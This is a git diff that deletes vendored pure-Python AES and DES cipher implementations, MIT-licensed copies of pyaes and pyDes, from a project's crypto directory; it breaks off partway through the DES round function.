-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-
-# This is a pure-Python implementation of the AES algorithm and AES common
-# modes of operation.
-
-# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
-# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
-
-
-# Supported key sizes:
-#   128-bit
-#   192-bit
-#   256-bit
-
-
-# Supported modes of operation:
-#   ECB - Electronic Codebook
-#   CBC - Cipher-Block Chaining
-#   CFB - Cipher Feedback
-#   OFB - Output Feedback
-#   CTR - Counter
-
-# See the README.md for API details and general information.
-
-# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
-# https://www.dlitz.net/software/pycrypto/
-
-
-VERSION = [1, 3, 0]
-
-from .AES import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
-from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
-from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
diff --git a/pypykatz/crypto/aes/blockfeeder.py b/pypykatz/crypto/aes/blockfeeder.py
deleted file mode 100644
index 0da57c9..0000000
--- a/pypykatz/crypto/aes/blockfeeder.py
+++ /dev/null
@@ -1,229 +0,0 @@
-
-#https://github.com/ricmoo/pyaes/blob/master/pyaes/blockfeeder.py
-# The MIT License (MIT)
-#
-# Copyright (c) 2014 Richard Moore
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-
-
-from .AES import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
-from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
-
-
-# First we inject three functions to each of the modes of operations
-#
-#    _can_consume(size)
-#       - Given a size, determine how many bytes could be consumed in
-#         a single call to either the decrypt or encrypt method
-#
-#    _final_encrypt(data, padding = PADDING_DEFAULT)
-#       - call and return encrypt on this (last) chunk of data,
-#         padding as necessary; this will always be at least 16
-#         bytes unless the total incoming input was less than 16
-#         bytes
-#
-#    _final_decrypt(data, padding = PADDING_DEFAULT)
-#       - same as _final_encrypt except for decrypt, for
-#         stripping off padding
-#
-
-PADDING_NONE       = 'none'
-PADDING_DEFAULT    = 'default'
-
-# @TODO: Ciphertext stealing and explicit PKCS#7
-# PADDING_CIPHERTEXT_STEALING
-# PADDING_PKCS7
-
-# ECB and CBC are block-only ciphers
-
-def _block_can_consume(self, size):
-    if size >= 16: return 16
-    return 0
-
-# After padding, we may have more than one block
-def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
-    if padding == PADDING_DEFAULT:
-        data = append_PKCS7_padding(data)
-
-    elif padding == PADDING_NONE:
-        if len(data) != 16:
-            raise Exception('invalid data length for final block')
-    else:
-        raise Exception('invalid padding option')
-
-    if len(data) == 32:
-        return self.encrypt(data[:16]) + self.encrypt(data[16:])
-
-    return self.encrypt(data)
-
-
-def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
-    if padding == PADDING_DEFAULT:
-        return strip_PKCS7_padding(self.decrypt(data))
-
-    if padding == PADDING_NONE:
-        if len(data) != 16:
-            raise Exception('invalid data length for final block')
-        return self.decrypt(data)
-
-    raise Exception('invalid padding option')
-
-AESBlockModeOfOperation._can_consume = _block_can_consume
-AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
-AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
-
-
-
-# CFB is a segment cipher
-
-def _segment_can_consume(self, size):
-    return self.segment_bytes * int(size // self.segment_bytes)
-
-# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
-def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
-    if padding != PADDING_DEFAULT:
-        raise Exception('invalid padding option')
-
-    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
-    padded = data + to_bufferable(faux_padding)
-    return self.encrypt(padded)[:len(data)]
-
-# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
-def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
-    if padding != PADDING_DEFAULT:
-        raise Exception('invalid padding option')
-
-    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
-    padded = data + to_bufferable(faux_padding)
-    return self.decrypt(padded)[:len(data)]
-
-AESSegmentModeOfOperation._can_consume = _segment_can_consume
-AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
-AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
-
-
-
-# OFB and CTR are stream ciphers
-
-def _stream_can_consume(self, size):
-    return size
-
-def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
-    if padding not in [PADDING_NONE, PADDING_DEFAULT]:
-        raise Exception('invalid padding option')
-
-    return self.encrypt(data)
-
-def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
-    if padding not in [PADDING_NONE, PADDING_DEFAULT]:
-        raise Exception('invalid padding option')
-
-    return self.decrypt(data)
-
-AESStreamModeOfOperation._can_consume = _stream_can_consume
-AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
-AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
-
-
-
-class BlockFeeder(object):
-    '''The super-class for objects to handle chunking a stream of bytes
-       into the appropriate block size for the underlying mode of operation
-       and applying (or stripping) padding, as necessary.'''
-
-    def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
-        self._mode = mode
-        self._feed = feed
-        self._final = final
-        self._buffer = to_bufferable("")
-        self._padding = padding
-
-    def feed(self, data = None):
-        '''Provide bytes to encrypt (or decrypt), returning any bytes
-           possible from this or any previous calls to feed.
-
-           Call with None or an empty string to flush the mode of
-           operation and return any final bytes; no further calls to
-           feed may be made.'''
-
-        if self._buffer is None:
-            raise ValueError('already finished feeder')
-
-        # Finalize; process the spare bytes we were keeping
-        if data is None:
-            result = self._final(self._buffer, self._padding)
-            self._buffer = None
-            return result
-
-        self._buffer += to_bufferable(data)
-
-        # We keep 16 bytes around so we can determine padding
-        result = to_bufferable('')
-        while len(self._buffer) > 16:
-            can_consume = self._mode._can_consume(len(self._buffer) - 16)
-            if can_consume == 0: break
-            result += self._feed(self._buffer[:can_consume])
-            self._buffer = self._buffer[can_consume:]
-
-        return result
-
-
-class Encrypter(BlockFeeder):
-    'Accepts bytes of plaintext and returns encrypted ciphertext.'
-
-    def __init__(self, mode, padding = PADDING_DEFAULT):
-        BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
-
-
-class Decrypter(BlockFeeder):
-    'Accepts bytes of ciphertext and returns decrypted plaintext.'
-
-    def __init__(self, mode, padding = PADDING_DEFAULT):
-        BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
-
-
-# 8kb blocks
-BLOCK_SIZE = (1 << 13)
-
-def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
-    'Uses feeder to read and convert from in_stream and write to out_stream.'
-
-    while True:
-        chunk = in_stream.read(block_size)
-        if not chunk:
-            break
-        converted = feeder.feed(chunk)
-        out_stream.write(converted)
-    converted = feeder.feed()
-    out_stream.write(converted)
-
-
-def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
-    'Encrypts a stream of bytes from in_stream to out_stream using mode.'
-
-    encrypter = Encrypter(mode, padding = padding)
-    _feed_stream(encrypter, in_stream, out_stream, block_size)
-
-
-def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
-    'Decrypts a stream of bytes from in_stream to out_stream using mode.'
-
-    decrypter = Decrypter(mode, padding = padding)
-    _feed_stream(decrypter, in_stream, out_stream, block_size)
diff --git a/pypykatz/crypto/aes/util.py b/pypykatz/crypto/aes/util.py
deleted file mode 100644
index a73791f..0000000
--- a/pypykatz/crypto/aes/util.py
+++ /dev/null
@@ -1,62 +0,0 @@
-
-#https://github.com/ricmoo/pyaes/blob/master/pyaes/util.py
-# The MIT License (MIT)
-#
-# Copyright (c) 2014 Richard Moore
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-
-# Why to_bufferable?
-# Python 3 is very different from Python 2.x when it comes to strings of text
-# and strings of bytes; in Python 3, strings of bytes do not exist, instead to
-# represent arbitrary binary data, we must use the "bytes" object. This method
-# ensures the object behaves as we need it to.
-
-def to_bufferable(binary):
-    return binary
-
-def _get_byte(c):
-    return ord(c)
-
-try:
-    xrange
-except:
-
-    def to_bufferable(binary):
-        if isinstance(binary, bytes):
-            return binary
-        return bytes(ord(b) for b in binary)
-
-    def _get_byte(c):
-        return c
-
-def append_PKCS7_padding(data):
-    pad = 16 - (len(data) % 16)
-    return data + to_bufferable(chr(pad) * pad)
-
-def strip_PKCS7_padding(data):
-    if len(data) % 16 != 0:
-        raise ValueError("invalid length")
-
-    pad = _get_byte(data[-1])
-
-    if pad > 16:
-        raise ValueError("invalid padding byte")
-
-    return data[:-pad]
diff --git a/pypykatz/crypto/des.py b/pypykatz/crypto/des.py
deleted file mode 100644
index d3754b4..0000000
--- a/pypykatz/crypto/des.py
+++ /dev/null
@@ -1,874 +0,0 @@
-#############################################################################
-# 				Documentation				    #
-#############################################################################
-
-# Author:   Todd Whiteman
-# Date:     28th April, 2010
-# Version:  2.0.1
-# License:  MIT
-# Homepage: http://twhiteman.netfirms.com/des.html
-#
-# This is a pure python implementation of the DES encryption algorithm.
-# It's pure python to avoid portability issues, since most DES 
-# implementations are programmed in C (for performance reasons).
-#
-# Triple DES class is also implemented, utilizing the DES base. Triple DES
-# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
-#
-# See the README.txt that should come with this python module for the
-# implementation methods used.
-#
-# Thanks to:
-#  * David Broadwell for ideas, comments and suggestions.
-#  * Mario Wolff for pointing out and debugging some triple des CBC errors.
-#  * Santiago Palladino for providing the PKCS5 padding technique.
-#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
-#
-"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
-
-Class initialization
---------------------
-pyDes.des(key, [mode], [IV], [pad], [padmode])
-pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
-
-key     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
-	   for Triple DES
-mode    -> Optional argument for encryption type, can be either
-	   pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
-IV      -> Optional Initial Value bytes, must be supplied if using CBC mode.
-	   Length must be 8 bytes.
-pad     -> Optional argument, set the pad character (PAD_NORMAL) to use during
-	   all encrypt/decrypt operations done with this instance.
-padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
-	   to use during all encrypt/decrypt operations done with this instance.
-
-I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
-padding issues, as the padding can be removed unambiguously upon decrypting
-data that was encrypted using PAD_PKCS5 padmode.
-
-Common methods
---------------
-encrypt(data, [pad], [padmode])
-decrypt(data, [pad], [padmode])
-
-data    -> Bytes to be encrypted/decrypted
-pad     -> Optional argument. Only when using padmode of PAD_NORMAL. For
-	   encryption, adds this characters to the end of the data block when
-	   data is not a multiple of 8 bytes. For decryption, will remove the
-	   trailing characters that match this pad character from the last 8
-	   bytes of the unencrypted data block.
-padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
-	   or PAD_PKCS5). Defaults to PAD_NORMAL.
-	  
-
-Example
--------
-from pyDes import *
-
-data = "Please encrypt my data"
-k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
-# For Python3, you'll need to use bytes, i.e.:
-#   data = b"Please encrypt my data"
-#   k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
-d = k.encrypt(data)
-print "Encrypted: %r" % d
-print "Decrypted: %r" % k.decrypt(d)
-assert k.decrypt(d, padmode=PAD_PKCS5) == data
-
-
-See the module source (pyDes.py) for more examples of use.
-You can also run the pyDes.py file without and arguments to see a simple test.
-
-Note: This code was not written for high-end systems needing a fast
-      implementation, but rather a handy portable solution with small usage.
-
-"""
-
-import sys
-
-# _pythonMajorVersion is used to handle Python2 and Python3 differences.
-_pythonMajorVersion = sys.version_info[0]
-
-# Modes of crypting / cyphering
-ECB =	0
-CBC =	1
-
-# Modes of padding
-PAD_NORMAL = 1
-PAD_PKCS5 = 2
-
-# PAD_PKCS5: is a method that will unambiguously remove all padding
-#            characters after decryption, when originally encrypted with
-#            this padding mode.
-# For a good description of the PKCS5 padding technique, see:
-# http://www.faqs.org/rfcs/rfc1423.html
-
-# The base class shared by des and triple des.
-class _baseDes(object):
-	def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
-		if IV:
-			IV = self._guardAgainstUnicode(IV)
-		if pad:
-			pad = self._guardAgainstUnicode(pad)
-		self.block_size = 8
-		# Sanity checking of arguments.
-		if pad and padmode == PAD_PKCS5:
-			raise ValueError("Cannot use a pad character with PAD_PKCS5")
-		if IV and len(IV) != self.block_size:
-			raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
-
-		# Set the passed in variables
-		self._mode = mode
-		self._iv = IV
-		self._padding = pad
-		self._padmode = padmode
-
-	def getKey(self):
-		"""getKey() -> bytes"""
-		return self.__key
-
-	def setKey(self, key):
-		"""Will set the crypting key for this object."""
-		key = self._guardAgainstUnicode(key)
-		self.__key = key
-
-	def getMode(self):
-		"""getMode() -> pyDes.ECB or pyDes.CBC"""
-		return self._mode
-
-	def setMode(self, mode):
-		"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
-		self._mode = mode
-
-	def getPadding(self):
-		"""getPadding() -> bytes of length 1. Padding character."""
-		return self._padding
-
-	def setPadding(self, pad):
-		"""setPadding() -> bytes of length 1. Padding character."""
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		self._padding = pad
-
-	def getPadMode(self):
-		"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
-		return self._padmode
-		
-	def setPadMode(self, mode):
-		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
-		self._padmode = mode
-
-	def getIV(self):
-		"""getIV() -> bytes"""
-		return self._iv
-
-	def setIV(self, IV):
-		"""Will set the Initial Value, used in conjunction with CBC mode"""
-		if not IV or len(IV) != self.block_size:
-			raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
-		IV = self._guardAgainstUnicode(IV)
-		self._iv = IV
-
-	def _padData(self, data, pad, padmode):
-		# Pad data depending on the mode
-		if padmode is None:
-			# Get the default padding mode.
-			padmode = self.getPadMode()
-		if pad and padmode == PAD_PKCS5:
-			raise ValueError("Cannot use a pad character with PAD_PKCS5")
-
-		if padmode == PAD_NORMAL:
-			if len(data) % self.block_size == 0:
-				# No padding required.
-				return data
-
-			if not pad:
-				# Get the default padding.
-				pad = self.getPadding()
-			if not pad:
-				raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
-			data += (self.block_size - (len(data) % self.block_size)) * pad
-		
-		elif padmode == PAD_PKCS5:
-			pad_len = 8 - (len(data) % self.block_size)
-			if _pythonMajorVersion < 3:
-				data += pad_len * chr(pad_len)
-			else:
-				data += bytes([pad_len] * pad_len)
-
-		return data
-
-	def _unpadData(self, data, pad, padmode):
-		# Unpad data depending on the mode.
-		if not data:
-			return data
-		if pad and padmode == PAD_PKCS5:
-			raise ValueError("Cannot use a pad character with PAD_PKCS5")
-		if padmode is None:
-			# Get the default padding mode.
-			padmode = self.getPadMode()
-
-		if padmode == PAD_NORMAL:
-			if not pad:
-				# Get the default padding.
-				pad = self.getPadding()
-			if pad:
-				data = data[:-self.block_size] + \
-				       data[-self.block_size:].rstrip(pad)
-
-		elif padmode == PAD_PKCS5:
-			if _pythonMajorVersion < 3:
-				pad_len = ord(data[-1])
-			else:
-				pad_len = data[-1]
-			data = data[:-pad_len]
-
-		return data
-
-	def _guardAgainstUnicode(self, data):
-		# Only accept byte strings or ascii unicode values, otherwise
-		# there is no way to correctly decode the data into bytes.
-		if _pythonMajorVersion < 3:
-			if isinstance(data, unicode):
-				raise ValueError("pyDes can only work with bytes, not Unicode strings.")
-		else:
-			if isinstance(data, str):
-				# Only accept ascii unicode values.
-				try:
-					return data.encode('ascii')
-				except UnicodeEncodeError:
-					pass
-				raise ValueError("pyDes can only work with encoded strings, not Unicode.")
-		return data
-
-#############################################################################
-# 				    DES					    #
-#############################################################################
-class des(_baseDes):
-	"""DES encryption/decrytpion class
-
-	Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
-
-	pyDes.des(key,[mode], [IV])
-
-	key  -> Bytes containing the encryption key, must be exactly 8 bytes
-	mode -> Optional argument for encryption type, can be either pyDes.ECB
-		(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
-	IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
-		Must be 8 bytes in length.
-	pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
-		during all encrypt/decrypt operations done with this instance.
-	padmode -> Optional argument, set the padding mode (PAD_NORMAL or
-		PAD_PKCS5) to use during all encrypt/decrypt operations done
-		with this instance.
-	"""
-
-
-	# Permutation and translation tables for DES
-	__pc1 = [56, 48, 40, 32, 24, 16,  8,
-		  0, 57, 49, 41, 33, 25, 17,
-		  9,  1, 58, 50, 42, 34, 26,
-		 18, 10,  2, 59, 51, 43, 35,
-		 62, 54, 46, 38, 30, 22, 14,
-		  6, 61, 53, 45, 37, 29, 21,
-		 13,  5, 60, 52, 44, 36, 28,
-		 20, 12,  4, 27, 19, 11,  3
-	]
-
-	# number left rotations of pc1
-	__left_rotations = [
-		1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
-	]
-
-	# permuted choice key (table 2)
-	__pc2 = [
-		13, 16, 10, 23,  0,  4,
-		 2, 27, 14,  5, 20,  9,
-		22, 18, 11,  3, 25,  7,
-		15,  6, 26, 19, 12,  1,
-		40, 51, 30, 36, 46, 54,
-		29, 39, 50, 44, 32, 47,
-		43, 48, 38, 55, 33, 52,
-		45, 41, 49, 35, 28, 31
-	]
-
-	# initial permutation IP
-	__ip = [57, 49, 41, 33, 25, 17, 9,  1,
-		59, 51, 43, 35, 27, 19, 11, 3,
-		61, 53, 45, 37, 29, 21, 13, 5,
-		63, 55, 47, 39, 31, 23, 15, 7,
-		56, 48, 40, 32, 24, 16, 8,  0,
-		58, 50, 42, 34, 26, 18, 10, 2,
-		60, 52, 44, 36, 28, 20, 12, 4,
-		62, 54, 46, 38, 30, 22, 14, 6
-	]
-
-	# Expansion table for turning 32 bit blocks into 48 bits
-	__expansion_table = [
-		31,  0,  1,  2,  3,  4,
-		 3,  4,  5,  6,  7,  8,
-		 7,  8,  9, 10, 11, 12,
-		11, 12, 13, 14, 15, 16,
-		15, 16, 17, 18, 19, 20,
-		19, 20, 21, 22, 23, 24,
-		23, 24, 25, 26, 27, 28,
-		27, 28, 29, 30, 31,  0
-	]
-
-	# The (in)famous S-boxes
-	__sbox = [
-		# S1
-		[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
-		 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
-		 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
-		 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
-
-		# S2
-		[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
-		 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
-		 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
-		 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
-
-		# S3
-		[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
-		 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
-		 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
-		 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
-
-		# S4
-		[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
-		 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
-		 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
-		 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
-
-		# S5
-		[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
-		 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
-		 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
-		 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
-
-		# S6
-		[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
-		 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
-		 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
-		 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
-
-		# S7
-		[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
-		 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
-		 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
-		 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
-
-		# S8
-		[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
-		 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
-		 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
-		 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
-	]
-
-
-	# 32-bit permutation function P used on the output of the S-boxes
-	__p = [
-		15, 6, 19, 20, 28, 11,
-		27, 16, 0, 14, 22, 25,
-		4, 17, 30, 9, 1, 7,
-		23,13, 31, 26, 2, 8,
-		18, 12, 29, 5, 21, 10,
-		3, 24
-	]
-
-	# final permutation IP^-1
-	__fp = [
-		39,  7, 47, 15, 55, 23, 63, 31,
-		38,  6, 46, 14, 54, 22, 62, 30,
-		37,  5, 45, 13, 53, 21, 61, 29,
-		36,  4, 44, 12, 52, 20, 60, 28,
-		35,  3, 43, 11, 51, 19, 59, 27,
-		34,  2, 42, 10, 50, 18, 58, 26,
-		33,  1, 41,  9, 49, 17, 57, 25,
-		32,  0, 40,  8, 48, 16, 56, 24
-	]
-
-	# Type of crypting being done
-	ENCRYPT =	0x00
-	DECRYPT =	0x01
-
-	# Initialisation
-	def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
-		# Sanity checking of arguments.
-		if len(key) != 8:
-			raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
-		_baseDes.__init__(self, mode, IV, pad, padmode)
-		self.key_size = 8
-
-		self.L = []
-		self.R = []
-		self.Kn = [ [0] * 48 ] * 16	# 16 48-bit keys (K1 - K16)
-		self.final = []
-
-		self.setKey(key)
-
-	def setKey(self, key):
-		"""Will set the crypting key for this object. Must be 8 bytes."""
-		_baseDes.setKey(self, key)
-		self.__create_sub_keys()
-
-	def __String_to_BitList(self, data):
-		"""Turn the string data, into a list of bits (1, 0)'s"""
-		if _pythonMajorVersion < 3:
-			# Turn the strings into integers. Python 3 uses a bytes
-			# class, which already has this behaviour.
-			data = [ord(c) for c in data]
-		l = len(data) * 8
-		result = [0] * l
-		pos = 0
-		for ch in data:
-			i = 7
-			while i >= 0:
-				if ch & (1 << i) != 0:
-					result[pos] = 1
-				else:
-					result[pos] = 0
-				pos += 1
-				i -= 1
-
-		return result
-
-	def __BitList_to_String(self, data):
-		"""Turn the list of bits -> data, into a string"""
-		result = []
-		pos = 0
-		c = 0
-		while pos < len(data):
-			c += data[pos] << (7 - (pos % 8))
-			if (pos % 8) == 7:
-				result.append(c)
-				c = 0
-			pos += 1
-
-		if _pythonMajorVersion < 3:
-			return ''.join([ chr(c) for c in result ])
-		else:
-			return bytes(result)
-
-	def __permutate(self, table, block):
-		"""Permutate this block with the specified table"""
-		return list(map(lambda x: block[x], table))
-	
-	# Transform the secret key, so that it is ready for data processing
-	# Create the 16 subkeys, K[1] - K[16]
-	def __create_sub_keys(self):
-		"""Create the 16 subkeys K[1] to K[16] from the given key"""
-		key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
-		i = 0
-		# Split into Left and Right sections
-		self.L = key[:28]
-		self.R = key[28:]
-		while i < 16:
-			j = 0
-			# Perform circular left shifts
-			while j < des.__left_rotations[i]:
-				self.L.append(self.L[0])
-				del self.L[0]
-
-				self.R.append(self.R[0])
-				del self.R[0]
-
-				j += 1
-
-			# Create one of the 16 subkeys through pc2 permutation
-			self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
-
-			i += 1
-
-	def replace_K(self, K):
-		#print(self.Kn)
-		#input('above the original')
-		#print(K)
-		#input('above the replacement')
-		self.Kn = K
-
-	# Main part of the encryption algorithm, the number cruncher :)
-	def __des_crypt(self, block, crypt_type):
-		"""Crypt the block of data through DES bit-manipulation"""
-		block = self.__permutate(des.__ip, block)
-		self.L = block[:32]
-		self.R = block[32:]
-
-		# Encryption starts from Kn[1] through to Kn[16]
-		if crypt_type == des.ENCRYPT:
-			iteration = 0
-			iteration_adjustment = 1
-		# Decryption starts from Kn[16] down to Kn[1]
-		else:
-			iteration = 15
-			iteration_adjustment = -1
-
-		i = 0
-		while i < 16:
-			# Make a copy of R[i-1], this will later become L[i]
-			tempR = self.R[:]
-
-			# Permutate R[i - 1] to start creating R[i]
-			self.R = self.__permutate(des.__expansion_table, self.R)
-
-			# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
-			self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
-			B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
-			# Optimization: Replaced below commented code with above
-			#j = 0
-			#B = []
-			#while j < len(self.R):
-			#	self.R[j] = self.R[j] ^ self.Kn[iteration][j]
-			#	j += 1
-			#	if j % 6 == 0:
